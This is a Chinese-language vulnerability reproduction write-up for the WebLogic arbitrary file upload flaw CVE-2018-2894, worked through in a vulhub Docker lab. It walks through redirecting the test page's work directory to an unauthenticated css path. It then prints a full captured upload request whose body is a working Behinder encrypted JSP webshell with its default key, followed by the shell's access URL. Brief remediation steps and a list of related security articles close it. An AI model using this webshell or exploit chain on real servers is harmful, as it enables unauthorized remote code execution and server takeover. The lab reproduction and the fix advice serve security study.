【漏洞复现】Weblogic 任意文件上传漏洞(CVE-2018-2894)

漏洞简介

Oracle在7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page在"生产模式"下默认不开启,所以该漏洞有一定限制,利用该漏洞,可以上传任意.jsp文件,进而获取服务器权限。

影响版本

Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3。

环境搭建

使用vulhub的靶场环境

1.切到 cd /vulhub-master/weblogic/CVE-2018-2894 目录下
2.docker-compose up -d 启动漏洞环境
3.访问:http://your-ip:7001/console
如图所示,即为搭建成功。

参考之前笔记vulhub docker靶场搭建-CSDN博客

执行docker-compose logs | grep password可查看管理员密码,管理员用户名为:weblogic。

登录后台页面,点击base_domain的配置,在"高级"中开启"启用 Web 服务测试页"选项:

漏洞复现

1.访问如下链接

http://your-ip:7001/ws_utc/config.do

设置Work Home Dir为:

路径:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

2.将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

3.点击安全 -> 增加,上传webshelll,这里用的是冰蝎的马,密码为rebeyond。

4.BurpSuite抓包,得到时间戳:

完整数据包:

POST /ws_utc/resources/setting/keystore?timestamp=1652192416829 HTTP/1.1
Host: 192.168.110.136:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------286671924331292381372054486536
Content-Length: 1483
Origin: http://192.168.110.136:7001
Connection: close
Referer: http://192.168.110.136:7001/ws_utc/config.do
Cookie: pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; JSESSIONID=eMOuVkbE4I_kWIfWJVtJUmK0gVEhFnqD_z0EvOhE-EzOuzpQvWsP!-37318034
Upgrade-Insecure-Requests: 1

-----------------------------286671924331292381372054486536
Content-Disposition: form-data; name="ks_name"

weblogic
-----------------------------286671924331292381372054486536
Content-Disposition: form-data; name="ks_edit_mode"

false
-----------------------------286671924331292381372054486536
Content-Disposition: form-data; name="ks_password_front"

xOPp22ro
-----------------------------286671924331292381372054486536
Content-Disposition: form-data; name="ks_password"

xOPp22ro
-----------------------------286671924331292381372054486536
Content-Disposition: form-data; name="ks_password_changed"

true
-----------------------------286671924331292381372054486536
Content-Disposition: form-data; name="ks_filename"; filename="shell.jsp"
Content-Type: application/octet-stream

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
-----------------------------286671924331292381372054486536--

返回安全界面,上传成功。

4.访问上传的webshell:

http://your-ip:7001/ws_utc/css/config/keystore/1652192470370_shell.jsp

5.再上冰蝎

6.进入docker容器查看一下文件

修复方案

1.设置config.do,begin.do页面登录授权后访问。

2.IPS等防御产品可以加入相应的特征。

3.升级到官方的最新版本。

相关推荐
xuan哈哈哈6 小时前
web基础—dvwa靶场(九)Weak Session IDs
web安全·网络安全
nomi-糯米7 小时前
Fisco Bcos 2.11.0配置console控制台2.10.0及部署调用智能合约
分布式·网络安全·区块链·智能合约·分布式账本
无敌的俊哥9 小时前
dedecms——四种webshell姿势
web安全
亿林科技网络安全11 小时前
阿里云盘照片事件!网络安全警钟长鸣
网络·安全·web安全
iSee85711 小时前
ChatGPT个人专用版 pictureproxy.php SSRF漏洞
web安全
HinsCoder12 小时前
【渗透测试】——Upload靶场实战(1-5关)
笔记·学习·安全·web安全·渗透测试·测试·upload靶场
Hqst_Kevin12 小时前
Hqst 品牌 H81801D 千兆 DIP 网络变压器在光猫收发器机顶盒中的应用
运维·服务器·网络·5g·网络安全·信息与通信·信号处理
网安康sir13 小时前
2024年三个月自学手册 网络安全(黑客技术)
网络·安全·web安全